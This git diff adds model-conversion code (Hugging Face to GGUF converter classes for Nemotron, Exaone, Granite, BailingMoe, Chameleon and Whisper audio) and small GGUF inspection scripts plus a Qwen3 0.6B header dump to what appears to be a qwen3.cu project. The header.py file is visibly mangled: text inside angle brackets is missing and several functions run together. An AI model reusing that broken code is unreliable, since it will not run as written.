data_torch)] + + +@ModelBase.register("NemotronForCausalLM") +class NemotronModel(TextModel): + model_arch = gguf.MODEL_ARCH.NEMOTRON + + def set_vocab(self): + self._set_vocab_sentencepiece() + self.gguf_writer.add_pad_token_id(0) + self.gguf_writer.add_unk_token_id(1) + + def set_gguf_parameters(self): + super().set_gguf_parameters() + hparams = self.hparams + self.gguf_writer.add_vocab_size(hparams["vocab_size"]) + + f_norm_eps = self.find_hparam(["layer_norm_eps", "layer_norm_epsilon", "norm_epsilon", "norm_eps"]) + self.gguf_writer.add_layer_norm_eps(f_norm_eps) + + # * Partial RoPE + rot_pct = self.find_hparam(["partial_rotary_factor", "rope_pct", "rope_percent"]) + n_embd = self.find_hparam(["hidden_size", "n_embd"]) + n_head = self.find_hparam(["num_attention_heads", "n_head"]) + self.gguf_writer.add_rope_dimension_count(int(rot_pct * n_embd) // n_head) + + # * RopeScaling for Nemotron + if "rope_scaling" not in self.hparams or self.hparams["rope_scaling"] is None: + self.gguf_writer.add_rope_scaling_type(gguf.RopeScalingType.NONE) + else: + self.gguf_writer.add_rope_scaling_type(gguf.RopeScalingType.LINEAR) + self.gguf_writer.add_rope_scaling_factor(self.hparams["factor"]) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + # * Adding +1 to LayerNorm's weights here to implement layernorm1p w/o changing anything on the GGML engine side + # model.layers.{l}.input_layernorm.weight + # model.layers.{l}.post_attention_layernorm.weight + # model.norm.weight + if name.endswith("norm.weight"): + data_torch = data_torch + 1 + + return [(self.map_tensor_name(name), data_torch)] + + +@ModelBase.register("ExaoneForCausalLM") +class ExaoneModel(TextModel): + model_arch = gguf.MODEL_ARCH.EXAONE + + def set_gguf_parameters(self): + hparams = self.hparams + + assert (hparams["activation_function"] == "silu") + + max_position_embeddings = hparams["max_position_embeddings"] + embed_dim = hparams["hidden_size"] + num_heads = hparams["num_attention_heads"] + num_kv_heads = hparams.get("num_key_value_heads", num_heads) + layer_norm_eps = hparams["layer_norm_epsilon"] + intermediate_size = hparams["intermediate_size"] if "intermediate_size" in hparams else 4 * embed_dim + num_layers = hparams["num_layers"] + # ignore for now as EXAONE-3.0-7.8B-Instruct attentino_dropout is 0.0 + # attention_dropout_rate = hparams["attention_dropout"] + # ignore for now as EXAONE-3.0-7.8B-Instruct embed_dropout is 0.0 + # embed_dropout_rate = hparams["embed_dropout"] + self.gguf_writer.add_embedding_length(embed_dim) + self.gguf_writer.add_head_count(num_heads) + self.gguf_writer.add_head_count_kv(num_kv_heads) + self.gguf_writer.add_context_length(max_position_embeddings) + self.gguf_writer.add_layer_norm_rms_eps(layer_norm_eps) + self.gguf_writer.add_feed_forward_length(intermediate_size) + self.gguf_writer.add_block_count(num_layers) + self.gguf_writer.add_file_type(self.ftype) + + if (rope_theta := self.hparams.get("rope_theta")) is not None: + self.gguf_writer.add_rope_freq_base(rope_theta) + rotary_factor = self.find_hparam(["partial_rotary_factor", "rope_pct"], optional=True) + rotary_factor = rotary_factor if rotary_factor is not None else 1.0 + self.gguf_writer.add_rope_dimension_count(int(rotary_factor * (hparams["hidden_size"] // hparams["num_attention_heads"]))) + rope_scaling = self.hparams.get("rope_scaling") or {} + if rope_scaling.get("rope_type", rope_scaling.get("type")) == "linear" and "factor" in rope_scaling: + self.gguf_writer.add_rope_scaling_type(gguf.RopeScalingType.LINEAR) + self.gguf_writer.add_rope_scaling_factor(rope_scaling["factor"]) + + def generate_extra_tensors(self) -> Iterable[tuple[str, Tensor]]: + if rope_scaling := self.find_hparam(["rope_scaling"], optional=True): + if rope_scaling.get("rope_type", '').lower() == "llama3": + base = self.hparams.get("rope_theta", 10000.0) + if (dim := self.hparams.get("head_dim")) is None: + dim = self.hparams["hidden_size"] // self.hparams["num_attention_heads"] + freqs = 1.0 / (base ** (torch.arange(0, dim, 2, dtype=torch.float32) / dim)) + + factor = rope_scaling.get("factor", 8.0) + low_freq_factor = rope_scaling.get("low_freq_factor", 1.0) + high_freq_factor = rope_scaling.get("high_freq_factor", 4.0) + old_context_len = self.hparams.get("original_max_position_embeddings", 8192) + + low_freq_wavelen = old_context_len / low_freq_factor + high_freq_wavelen = old_context_len / high_freq_factor + assert low_freq_wavelen != high_freq_wavelen + + rope_factors = [] + for freq in freqs: + wavelen = 2 * math.pi / freq + if wavelen < high_freq_wavelen: + rope_factors.append(1) + elif wavelen > low_freq_wavelen: + rope_factors.append(factor) + else: + smooth = (old_context_len / wavelen - low_freq_factor) / (high_freq_factor - low_freq_factor) + rope_factors.append(1 / ((1 - smooth) / factor + smooth)) + + yield (self.format_tensor_name(gguf.MODEL_TENSOR.ROPE_FREQS), torch.tensor(rope_factors, dtype=torch.float32)) + + +@ModelBase.register("GraniteForCausalLM") +class GraniteModel(LlamaModel): + """Conversion for IBM's GraniteForCausalLM""" + model_arch = gguf.MODEL_ARCH.GRANITE + + def set_gguf_parameters(self): + """Granite uses standard llama parameters with the following differences: + + - No head_dim support + - New multiplier params: + - attention_scale + - embedding_scale + - residual_scale + - logits_scaling + """ + if head_dim := self.hparams.pop("head_dim", None): + logger.warning("Ignoring head_dim (%s) from config for Granite", head_dim) + super().set_gguf_parameters() + # NOTE: Convert _multiplier params to _scale params for naming + # consistency + if attention_scale := self.hparams.get("attention_multiplier"): + self.gguf_writer.add_attention_scale(attention_scale) + logger.info("gguf: (granite) attention_scale = %s", attention_scale) + if embedding_scale := self.hparams.get("embedding_multiplier"): + self.gguf_writer.add_embedding_scale(embedding_scale) + logger.info("gguf: (granite) embedding_scale = %s", embedding_scale) + if residual_scale := self.hparams.get("residual_multiplier"): + self.gguf_writer.add_residual_scale(residual_scale) + logger.info("gguf: (granite) residual_scale = %s", residual_scale) + if logits_scale := self.hparams.get("logits_scaling"): + self.gguf_writer.add_logit_scale(logits_scale) + logger.info("gguf: (granite) logits_scale = %s", logits_scale) + + +@ModelBase.register("GraniteMoeForCausalLM", "GraniteMoeSharedForCausalLM") +class GraniteMoeModel(GraniteModel): + """Conversion for IBM's GraniteMoeForCausalLM""" + model_arch = gguf.MODEL_ARCH.GRANITE_MOE + + def set_gguf_parameters(self): + """GraniteMoeShared uses GraniteMoe parameters plus the following: + - shared_intermediate_size + """ + super().set_gguf_parameters() + if shared_feed_forward_length := self.hparams.get("shared_intermediate_size"): + self.gguf_writer.add_expert_shared_feed_forward_length(shared_feed_forward_length) + logger.info("gguf: (granitemoeshared) shared_feed_forward_length = %s", shared_feed_forward_length) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + """In modeling_granitemoe, the JetMoe implementation of parallel experts + is used. This essentially merges w1 and w3 into a single tensor with 2x + the hidden size that is then split during forward. To keep compatibility + with existing mixtral support, we pull them apart here. + """ + + if name.endswith("block_sparse_moe.input_linear.weight"): + ffn_dim = self.hparams["intermediate_size"] + assert data_torch.shape[-2] == 2 * ffn_dim, "Merged FFN tensor size must be 2 * intermediate_size" + gate, up = data_torch.split(ffn_dim, dim=-2) + return [ + (self.format_tensor_name(gguf.MODEL_TENSOR.FFN_GATE_EXP, bid), gate), + (self.format_tensor_name(gguf.MODEL_TENSOR.FFN_UP_EXP, bid), up), + ] + + if name.endswith("shared_mlp.input_linear.weight"): + ffn_dim = self.hparams["shared_intermediate_size"] + assert data_torch.shape[-2] == 2 * ffn_dim, "Merged FFN tensor size must be 2 * shared_intermediate_size" + gate, up = data_torch.split(ffn_dim, dim=-2) + return [ + (self.format_tensor_name(gguf.MODEL_TENSOR.FFN_GATE_SHEXP, bid), gate), + (self.format_tensor_name(gguf.MODEL_TENSOR.FFN_UP_SHEXP, bid), up), + ] + + return super().modify_tensors(data_torch, name, bid) + + +@ModelBase.register("BailingMoeForCausalLM") +class BailingMoeModel(TextModel): + model_arch = gguf.MODEL_ARCH.BAILINGMOE + + def set_vocab(self): + self._set_vocab_gpt2() + + def set_gguf_parameters(self): + super().set_gguf_parameters() + hparams = self.hparams + if (rope_dim := hparams.get("head_dim")) is None: + rope_dim = hparams["hidden_size"] // hparams["num_attention_heads"] + + self.gguf_writer.add_rope_dimension_count(rope_dim) + rope_scaling = self.hparams.get("rope_scaling") or {} + if rope_scaling.get("rope_type", rope_scaling.get("type")) == "yarn" and "factor" in rope_scaling: + self.gguf_writer.add_rope_scaling_type(gguf.RopeScalingType.YARN) + self.gguf_writer.add_rope_scaling_factor(rope_scaling["factor"]) + self.gguf_writer.add_rope_scaling_orig_ctx_len(rope_scaling["original_max_position_embeddings"]) + else: + self.gguf_writer.add_rope_scaling_type(gguf.RopeScalingType.NONE) + self.gguf_writer.add_leading_dense_block_count(hparams["first_k_dense_replace"]) + self.gguf_writer.add_vocab_size(hparams["vocab_size"]) + self.gguf_writer.add_expert_feed_forward_length(hparams["moe_intermediate_size"]) + self.gguf_writer.add_expert_weights_scale(1.0) + self.gguf_writer.add_expert_count(hparams["num_experts"]) + self.gguf_writer.add_expert_shared_count(hparams["num_shared_experts"]) + self.gguf_writer.add_expert_weights_norm(hparams["norm_topk_prob"]) + + _experts: list[dict[str, Tensor]] | None = None + + @staticmethod + def permute(weights: Tensor, n_head: int, n_head_kv: int | None): + if n_head_kv is not None and n_head != n_head_kv: + n_head = n_head_kv + return (weights.reshape(n_head, 2, weights.shape[0] // n_head // 2, *weights.shape[1:]) + .swapaxes(1, 2) + .reshape(weights.shape)) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + n_head = self.hparams["num_attention_heads"] + n_kv_head = self.hparams.get("num_key_value_heads") + n_embd = self.hparams["hidden_size"] + if (head_dim := self.hparams.get("head_dim")) is None: + head_dim = n_embd // n_head + + output_name = self.format_tensor_name(gguf.MODEL_TENSOR.OUTPUT) + + if name.endswith("attention.dense.weight"): + return [(self.format_tensor_name(gguf.MODEL_TENSOR.ATTN_OUT, bid), data_torch)] + elif name.endswith("query_key_value.weight"): + q, k, v = data_torch.split([n_head * head_dim, n_kv_head * head_dim, n_kv_head * head_dim], dim=-2) + + return [ + (self.format_tensor_name(gguf.MODEL_TENSOR.ATTN_Q, bid), BailingMoeModel.permute(q, n_head, n_head)), + (self.format_tensor_name(gguf.MODEL_TENSOR.ATTN_K, bid), BailingMoeModel.permute(k, n_head, n_kv_head)), + (self.format_tensor_name(gguf.MODEL_TENSOR.ATTN_V, bid), v) + ] + elif name.find("mlp.experts") != -1: + n_experts = self.hparams["num_experts"] + assert bid is not None + + tensors: list[tuple[str, Tensor]] = [] + + if self._experts is None: + self._experts = [{} for _ in range(self.block_count)] + + self._experts[bid][name] = data_torch + + if len(self._experts[bid]) >= n_experts * 3: + # merge the experts into a single 3d tensor + for w_name in ["down_proj", "gate_proj", "up_proj"]: + datas: list[Tensor] = [] + + for xid in range(n_experts): + ename = f"model.layers.{bid}.mlp.experts.{xid}.{w_name}.weight" + datas.append(self._experts[bid][ename]) + del self._experts[bid][ename] + + data_torch = torch.stack(datas, dim=0) + + merged_name = f"model.layers.{bid}.mlp.experts.{w_name}.weight" + + new_name = self.map_tensor_name(merged_name) + + tensors.append((new_name, data_torch)) + + return tensors + + new_name = self.map_tensor_name(name) + + if new_name == output_name and self.hparams.get("norm_head"): + data_torch = data_torch.float() + data_torch /= torch.norm(data_torch, p=2, dim=0, keepdim=True) + 1e-7 + + return [(new_name, data_torch)] + + def prepare_tensors(self): + super().prepare_tensors() + + if self._experts is not None: + # flatten `list[dict[str, Tensor]]` into `list[str]` + experts = [k for d in self._experts for k in d.keys()] + if len(experts) > 0: + raise ValueError(f"Unprocessed experts: {experts}") + + +@ModelBase.register("ChameleonForConditionalGeneration") +@ModelBase.register("ChameleonForCausalLM") # obsolete +class ChameleonModel(TextModel): + model_arch = gguf.MODEL_ARCH.CHAMELEON + + def set_gguf_parameters(self): + super().set_gguf_parameters() + self.gguf_writer.add_swin_norm(self.hparams.get("swin_norm", False)) + + def set_vocab(self): + self._set_vocab_gpt2() + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + # ignore image tokenizer for now + # TODO: remove this once image support is implemented for Chameleon + if name.startswith("model.vqmodel"): + return [] + + n_head = self.hparams["num_attention_heads"] + n_kv_head = self.hparams.get("num_key_value_heads") + hidden_dim = self.hparams.get("hidden_size") + + if name.endswith(("q_proj.weight", "q_proj.bias")): + data_torch = LlamaModel.permute(data_torch, n_head, n_head) + if name.endswith(("k_proj.weight", "k_proj.bias")): + data_torch = LlamaModel.permute(data_torch, n_head, n_kv_head) + if name.endswith(("q_norm.weight", "q_norm.bias")): + data_torch = ChameleonModel._reverse_hf_permute(data_torch, n_head, hidden_dim) + if name.endswith(("k_norm.weight", "k_norm.bias")): + data_torch = ChameleonModel._reverse_hf_permute(data_torch, n_kv_head, hidden_dim) + + return [(self.map_tensor_name(name), data_torch)] + + # see: https://github.com/huggingface/transformers/blob/72fb02c47dbbe1999ae105319f24631cad6e2e00/src/transformers/models/chameleon/convert_chameleon_weights_to_hf.py#L176-L203 + @staticmethod + def _reverse_hf_permute(data_torch, n_heads, hidden_dim): + head_dim = hidden_dim // n_heads + data_torch = data_torch[0].view(2, head_dim // 2).t().reshape(1, -1) + data_torch = data_torch.repeat_interleave(n_heads, 0) + return data_torch + + +@ModelBase.register("UltravoxModel") +class UltravoxModel(TextModel): + model_arch = gguf.MODEL_ARCH.LLAMA # dummy + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + raise NotImplementedError("Ultravox does not have text decoder. Instead, it uses Llama or other models for text. If you want to get the audio encoder, please use --mmproj argument") + + +@ModelBase.register("Qwen2AudioForConditionalGeneration") +class WhisperEncoderModel(MmprojModel): + has_vision_encoder = False # no vision encoder + has_audio_encoder = True + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + self.hparams["hidden_size"] = self.hparams["d_model"] + self.hparams["intermediate_size"] = self.hparams["encoder_ffn_dim"] + self.hparams["num_attention_heads"] = self.hparams["encoder_attention_heads"] + + def set_gguf_parameters(self): + super().set_gguf_parameters() + self.gguf_writer.add_clip_projector_type(gguf.VisionProjectorType.QWEN2A) + self.gguf_writer.add_audio_num_mel_bins(self.hparams["num_mel_bins"]) + self.gguf_writer.add_audio_attention_layernorm_eps(self.hparams.get("layer_norm_eps", 1e-5)) + + def tensor_force_quant(self, name, new_name, bid, n_dims): + del bid, new_name, n_dims # unused + if ".conv" in name and ".weight" in name: + return gguf.GGMLQuantizationType.F16 + return False + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + + if name.startswith("language_model."): + # skip language model tensors + return [] + + # prevent clash naming with vision tensors + if name.startswith("multi_modal_projector"): + name = "audio." + name + + if "conv1.bias" in name or "conv2.bias" in name: + # transpose conv1 and conv2 bias + data_torch = data_torch.unsqueeze(-1) + + return [(self.map_tensor_name(name), data_torch)] + + +@ModelBase.register("UltravoxModel") +class UltravoxWhisperEncoderModel(WhisperEncoderModel): + has_vision_encoder = False # no vision encoder + has_audio_encoder = True + + def set_gguf_parameters(self): + super().set_gguf_parameters() + self.gguf_writer.add_audio_stack_factor(self.global_config["stack_factor"]) + +###### CONVERSION LOGIC ###### + + +# tree of lazy tensors +class LazyTorchTensor(gguf.LazyBase): + _tensor_type = torch.Tensor + # to keep the type-checker happy + dtype: torch.dtype + shape: torch.Size + + # only used when converting a torch.Tensor to a np.ndarray + _dtype_map: dict[torch.dtype, type] = { + torch.float16: np.float16, + torch.float32: np.float32, + } + + # used for safetensors slices + # ref: https://github.com/huggingface/safetensors/blob/079781fd0dc455ba0fe851e2b4507c33d0c0d407/bindings/python/src/lib.rs#L1046 + # TODO: uncomment U64, U32, and U16, ref: https://github.com/pytorch/pytorch/issues/58734 + _dtype_str_map: dict[str, torch.dtype] = { + "F64": torch.float64, + "F32": torch.float32, + "BF16": torch.bfloat16, + "F16": torch.float16, + # "U64": torch.uint64, + "I64": torch.int64, + # "U32": torch.uint32, + "I32": torch.int32, + # "U16": torch.uint16, + "I16": torch.int16, + "U8": torch.uint8, + "I8": torch.int8, + "BOOL": torch.bool, + "F8_E4M3": torch.float8_e4m3fn, + "F8_E5M2": torch.float8_e5m2, + } + + def numpy(self) -> gguf.LazyNumpyTensor: + dtype = self._dtype_map[self.dtype] + return gguf.LazyNumpyTensor( + meta=gguf.LazyNumpyTensor.meta_with_dtype_and_shape(dtype, self.shape), + args=(self,), + func=(lambda s: s.numpy()) + ) + + @classmethod + def meta_with_dtype_and_shape(cls, dtype: torch.dtype, shape: tuple[int, ...]) -> Tensor: + return torch.empty(size=shape, dtype=dtype, device="meta") + + @classmethod + def from_safetensors_slice(cls, st_slice: Any) -> Tensor: + dtype = cls._dtype_str_map[st_slice.get_dtype()] + shape: tuple[int, ...] = tuple(st_slice.get_shape()) + lazy = cls(meta=cls.meta_with_dtype_and_shape(dtype, shape), args=(st_slice,), func=lambda s: s[:]) + return cast(torch.Tensor, lazy) + + @classmethod + def from_remote_tensor(cls, remote_tensor: gguf.utility.RemoteTensor): + dtype = cls._dtype_str_map[remote_tensor.dtype] + shape = remote_tensor.shape + meta = cls.meta_with_dtype_and_shape(dtype, shape) + lazy = cls(meta=meta, args=(remote_tensor,), func=lambda r: torch.frombuffer(r.data(), dtype=dtype).reshape(shape)) + return cast(torch.Tensor, lazy) + + @classmethod + def __torch_function__(cls, func, types, args=(), kwargs=None): + del types # unused + + if kwargs is None: + kwargs = {} + + if func is torch.Tensor.numpy: + return args[0].numpy() + + return cls._wrap_fn(func)(*args, **kwargs) + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser( + description="Convert a huggingface model to a GGML compatible file") + parser.add_argument( + "--vocab-only", action="store_true", + help="extract only the vocab", + ) + parser.add_argument( + "--outfile", type=Path, + help="path to write to; default: based on input. {ftype} will be replaced by the outtype.", + ) + parser.add_argument( + "--outtype", type=str, choices=["f32", "f16", "bf16", "q8_0", "tq1_0", "tq2_0", "auto"], default="f16", + help="output format - use f32 for float32, f16 for float16, bf16 for bfloat16, q8_0 for Q8_0, tq1_0 or tq2_0 for ternary, and auto for the highest-fidelity 16-bit float type depending on the first loaded tensor type", + ) + parser.add_argument( + "--bigendian", action="store_true", + help="model is executed on big endian machine", + ) + parser.add_argument( + "model", type=str, + help="directory containing model file or huggingface repository ID (if --remote)", + nargs="?", + ) + parser.add_argument( + "--use-temp-file", action="store_true", + help="use the tempfile library while processing (helpful when running out of memory, process killed)", + ) + parser.add_argument( + "--no-lazy", action="store_true", + help="use more RAM by computing all outputs before writing (use in case lazy evaluation is broken)", + ) + parser.add_argument( + "--model-name", type=str, default=None, + help="name of the model", + ) + parser.add_argument( + "--verbose", action="store_true", + help="increase output verbosity", + ) + parser.add_argument( + "--split-max-tensors", type=int, default=0, + help="max tensors in each split", + ) + parser.add_argument( + "--split-max-size", type=str, default="0", + help="max size per split N(M|G)", + ) + parser.add_argument( + "--dry-run", action="store_true", + help="only print out a split plan and exit, without writing any new files", + ) + parser.add_argument( + "--no-tensor-first-split", action="store_true", + help="do not add tensors to the first split (disabled by default)" + ) + parser.add_argument( + "--metadata", type=Path, + help="Specify the path for an authorship metadata override file" + ) + parser.add_argument( + "--print-supported-models", action="store_true", + help="Print the supported models" + ) + parser.add_argument( + "--remote", action="store_true", + help="(Experimental) Read safetensors file remotely without downloading to disk. Config and tokenizer files will still be downloaded. To use this feature, you need to specify Hugging Face model repo name instead of a local directory. For example: 'HuggingFaceTB/SmolLM2-1.7B-Instruct'. Note: To access gated repo, set HF_TOKEN environment variable to your Hugging Face token.", + ) + parser.add_argument( + "--mmproj", action="store_true", + help="(Experimental) Export multimodal projector (mmproj) for vision models. This will only work on some vision models. A prefix 'mmproj-' will be added to the output file name.", + ) + + args = parser.parse_args() + if not args.print_supported_models and args.model is None: + parser.error("the following arguments are required: model") + return args + + +def split_str_to_n_bytes(split_str: str) -> int: + if split_str.endswith("K"): + n = int(split_str[:-1]) * 1000 + elif split_str.endswith("M"): + n = int(split_str[:-1]) * 1000 * 1000 + elif split_str.endswith("G"): + n = int(split_str[:-1]) * 1000 * 1000 * 1000 + elif split_str.isnumeric(): + n = int(split_str) + else: + raise ValueError(f"Invalid split size: {split_str}, must be a number, optionally followed by K, M, or G") + + if n < 0: + raise ValueError(f"Invalid split size: {split_str}, must be positive") + + return n + + +def get_model_architecture(hparams: dict[str, Any], model_type: ModelType) -> str: + # TODO @ngxson : this won't work correctly if the model has both audio & vision encoders + # maybe we should fallback to text model's arch in that case, since not many models have both + text_config = hparams.get("text_config", {}) + vision_config = hparams.get("vision_config", {}) + arch = None + if (arches := hparams.get("architectures")) is not None and len(arches) > 0: + arch = arches[0] + elif "ssm_cfg" in hparams: + # For non-hf Mamba and Mamba2 models + arch = hparams["ssm_cfg"].get("layer", "Mamba") + "ForCausalLM" + + # if "architectures" is found in the sub-config, use that instead + if model_type == ModelType.TEXT and text_config.get("architectures") is not None: + arch = text_config["architectures"][0] + elif model_type == ModelType.MMPROJ and vision_config.get("architectures") is not None: + arch = vision_config["architectures"][0] + if arch is None: + raise ValueError("Failed to detect model architecture") + return arch + + +def main() -> None: + args = parse_args() + + if args.print_supported_models: + logger.error("Supported models:") + ModelBase.print_registered_models() + sys.exit(0) + + if args.verbose: + logging.basicConfig(level=logging.DEBUG) + else: + logging.basicConfig(level=logging.INFO) + + if args.remote: + hf_repo_id = args.model + from huggingface_hub import snapshot_download + local_dir = snapshot_download( + repo_id=hf_repo_id, + allow_patterns=["LICENSE", "*.json", "*.md", "*.txt", "tokenizer.model"]) + dir_model = Path(local_dir) + logger.info(f"Downloaded config and tokenizer to {local_dir}") + else: + hf_repo_id = None + dir_model = Path(args.model) + + if not dir_model.is_dir(): + logger.error(f'Error: {dir_model} is not a directory') + sys.exit(1) + + ftype_map: dict[str, gguf.LlamaFileType] = { + "f32": gguf.LlamaFileType.ALL_F32, + "f16": gguf.LlamaFileType.MOSTLY_F16, + "bf16": gguf.LlamaFileType.MOSTLY_BF16, + "q8_0": gguf.LlamaFileType.MOSTLY_Q8_0, + "tq1_0": gguf.LlamaFileType.MOSTLY_TQ1_0, + "tq2_0": gguf.LlamaFileType.MOSTLY_TQ2_0, + "auto": gguf.LlamaFileType.GUESSED, + } + + is_split = args.split_max_tensors > 0 or args.split_max_size != "0" + if args.use_temp_file and is_split: + logger.error("Error: Cannot use temp file when splitting") + sys.exit(1) + + if args.outfile is not None: + fname_out = args.outfile + elif hf_repo_id: + # if remote, use the model ID as the output file name + fname_out = Path("./" + hf_repo_id.replace("/", "-") + "-{ftype}.gguf") + else: + fname_out = dir_model + + logger.info(f"Loading model: {dir_model.name}") + + if args.mmproj: + if "mmproj" not in fname_out.name: + fname_out = ModelBase.add_prefix_to_filename(fname_out, "mmproj-") + + with torch.inference_mode(): + output_type = ftype_map[args.outtype] + model_type = ModelType.MMPROJ if args.mmproj else ModelType.TEXT + hparams = ModelBase.load_hparams(dir_model) + model_architecture = get_model_architecture(hparams, model_type) + logger.info(f"Model architecture: {model_architecture}") + try: + model_class = ModelBase.from_model_architecture(model_architecture, model_type=model_type) + except NotImplementedError: + logger.error(f"Model {model_architecture} is not supported") + sys.exit(1) + + model_instance = model_class(dir_model, output_type, fname_out, + is_big_endian=args.bigendian, use_temp_file=args.use_temp_file, + eager=args.no_lazy, + metadata_override=args.metadata, model_name=args.model_name, + split_max_tensors=args.split_max_tensors, + split_max_size=split_str_to_n_bytes(args.split_max_size), dry_run=args.dry_run, + small_first_shard=args.no_tensor_first_split, + remote_hf_model_id=hf_repo_id) + + if args.vocab_only: + logger.info("Exporting model vocab...") + model_instance.write_vocab() + logger.info(f"Model vocab successfully exported to {model_instance.fname_out}") + else: + logger.info("Exporting model...") + model_instance.write() + out_path = f"{model_instance.fname_out.parent}{os.sep}" if is_split else model_instance.fname_out + logger.info(f"Model successfully exported to {out_path}") + + +if __name__ == '__main__': + main() diff --git a/src/xpu/flamegraph/qwen3.cu/extract_v_m.py b/src/xpu/flamegraph/qwen3.cu/extract_v_m.py new file mode 100644 index 00000000..c7c05e39 --- /dev/null +++ b/src/xpu/flamegraph/qwen3.cu/extract_v_m.py @@ -0,0 +1,143 @@ +#modified from a utility in llama.cpp +#!/usr/bin/env python3 +import string +import logging +import sys +from pathlib import Path + +logger = logging.getLogger("reader") + +# Necessary to load the local gguf package +# sys.path.insert(0, str(Path(__file__).parent.parent)) + +from gguf.gguf_reader import GGUFReader + +# 된다 +def extract_merges_to_txt(reader, output_file="merges.txt"): + parts = reader.fields["tokenizer.ggml.merges"].parts + + # Skip initial header/metadata parts + start_idx = 6 + + # Crop to full merge pairs only + if (len(parts) - start_idx) % 2 != 0: + print(f"Merges field has odd number of parts after header. Truncating last.") + parts = parts[:len(parts) - 1] + + with open(output_file, "w", encoding="utf-8") as f: + for i in range(start_idx, len(parts), 2): + merge_bytes = parts[i] + try: + merge_str = bytes(merge_bytes).decode("utf-8") + except Exception: + merge_str = bytes(merge_bytes).decode("utf-8", errors="replace") + f.write(merge_str + "\n") + + print(f"Extracted {((len(parts) - start_idx) //2)} merges to {output_file}") + + +def extract_vocab_to_txt(reader, output_file="vocab.txt"): + tokens = reader.fields["tokenizer.ggml.tokens"].parts + with open(output_file, "w", encoding="utf-8") as f: + # Start at 6 (where real tokens start) + for i in range(6, len(tokens), 2): + token_bytes = tokens[i] + # Only process tokens that are arrays of uint8 + if getattr(token_bytes, 'dtype', None) == 'uint8': + b = bytes(token_bytes) + b = b.rstrip(b'\x00') + if b: # skip empty + try: + token_str = b.decode("utf-8") + except Exception: + token_str = b.decode("utf-8", errors="replace") + f.write(token_str + "\n") + print(f"Extraction complete ({(len(tokens) -6) //2} tokens written).") + + +def read_gguf_file(gguf_file_path): + """ + Reads and prints key-value pairs and tensor information from a GGUF file in an improved format. + + Parameters: + - gguf_file_path: Path to the GGUF file. + """ + + reader = GGUFReader(gguf_file_path) + + extract_merges_to_txt(reader) + extract_vocab_to_txt(reader) + + # List all key-value pairs in a columnized format + print("Key-Value Pairs:") # noqa: NP100 + max_key_length = max(len(key) for key in reader.fields.keys()) + + for key, field in reader.fields.items(): + value = field.parts[field.data[0]] + print(f"{key:{max_key_length}} : {value}") + + try: + value1 = ''.join(chr(x) for x in value) # Convert [103, 112, 116, 50] to "gpt2" + print(f"{key:{max_key_length}} : {value1}") # Print key and value + except: + pass + #elif isinstance(value, bytes): + #value2 = value.tobytes().decode('utf-8') # If value is bytes, decode to string + #print(f"{key:{max_key_length}} : {value2}") # Print key and value + + + for key, field in reader.fields.items(): + value = field.parts[field.data[0]] + + # Try to convert to string if it looks like string data + if isinstance(value, list) and all(isinstance(x, int) for x in value): + # Try UTF-8 first, fallback to ASCII, else show the list + try: + value_str = bytes(value).decode('utf-8') + except (UnicodeDecodeError, ValueError, TypeError): + try: + if all(32 <= x <= 126 for x in value): # printable ASCII + value_str = ''.join(chr(x) for x in value) + else: + value_str = str(value) + except Exception: + value_str = str(value) + value = value_str + + elif isinstance(value, bytes): + try: + value = value.decode('utf-8') + except UnicodeDecodeError: + value = str(value) + + elif hasattr(value, 'tobytes'): # numpy ndarray/memmap/etc + try: + value = value.tobytes().decode('utf-8') + except UnicodeDecodeError: + value = repr(value) + # OR, for arrays: np.array2string(value) for small arrays + except Exception: + value = repr(value) + else: + value = str(value) + + print(f"{key:{max_key_length}} : {value}") + + # List all tensors + print("Tensors:") # noqa: NP100 + tensor_info_format = "{:<30} | Shape: {:<15} | Size: {:<12} | Quantization: {}" + print(tensor_info_format.format("Tensor Name", "Shape", "Size", "Quantization")) # noqa: NP100 + print("-" * 80) # noqa: NP100 + for tensor in reader.tensors: + shape_str = "x".join(map(str, tensor.shape)) + size_str = str(tensor.n_elements) + quantization_str = tensor.tensor_type.name + print(tensor_info_format.format(tensor.name, shape_str, size_str, quantization_str)) # noqa: NP100 + + +if __name__ == '__main__': + if len(sys.argv) < 2: + logger.info("Usage: reader.py ") + sys.exit(1) + gguf_file_path = sys.argv[1] + read_gguf_file(gguf_file_path) diff --git a/src/xpu/flamegraph/qwen3.cu/header.py b/src/xpu/flamegraph/qwen3.cu/header.py new file mode 100644 index 00000000..637be165 --- /dev/null +++ b/src/xpu/flamegraph/qwen3.cu/header.py @@ -0,0 +1,133 @@ +import struct +import sys +import logging + +logger = logging.getLogger(__name__) + +def read_string(f): + """Read a string from the file""" + length = struct.unpack(' 50 else ''}>" + +def read_gguf_file(file_path): + """Read GGUF file and extract header information""" + with open(file_path, 'rb') as f: + # Read magic number + magic = f.read(4) + if magic != b'GGUF': + raise ValueError("Not a valid GGUF file") + + # Read version + version = struct.unpack('") + sys.exit(1) + + gguf_file_path = sys.argv[1] + read_gguf_file(gguf_file_path) diff --git a/src/xpu/flamegraph/qwen3.cu/header.txt b/src/xpu/flamegraph/qwen3.cu/header.txt new file mode 100644 index 00000000..e11e26c6 --- /dev/null +++ b/src/xpu/flamegraph/qwen3.cu/header.txt @@ -0,0 +1,1370 @@ +MAGIC=GGUF +VERSION=3 +TENSOR_COUNT=311 +METADATA_COUNT=34 +GENERAL_ARCHITECTURE=qwen3 +GENERAL_TYPE=model +GENERAL_NAME=Qwen3 0.6B +GENERAL_BASENAME=Qwen3 +GENERAL_SIZE_LABEL=0.6B +GENERAL_LICENSE=apache-2.0 +GENERAL_LICENSE_LINK=https://huggingface.co/Qwen/Qwen3-0.6B/blob/main/LICENSE +GENERAL_BASE_MODEL_COUNT=1 +GENERAL_BASE_MODEL_0_NAME=Qwen3 0.6B Base +GENERAL_BASE_MODEL_0_ORGANIZATION=Qwen +GENERAL_BASE_MODEL_0_REPO_URL=https://huggingface.co/Qwen/Qwen3-0.6B-Base 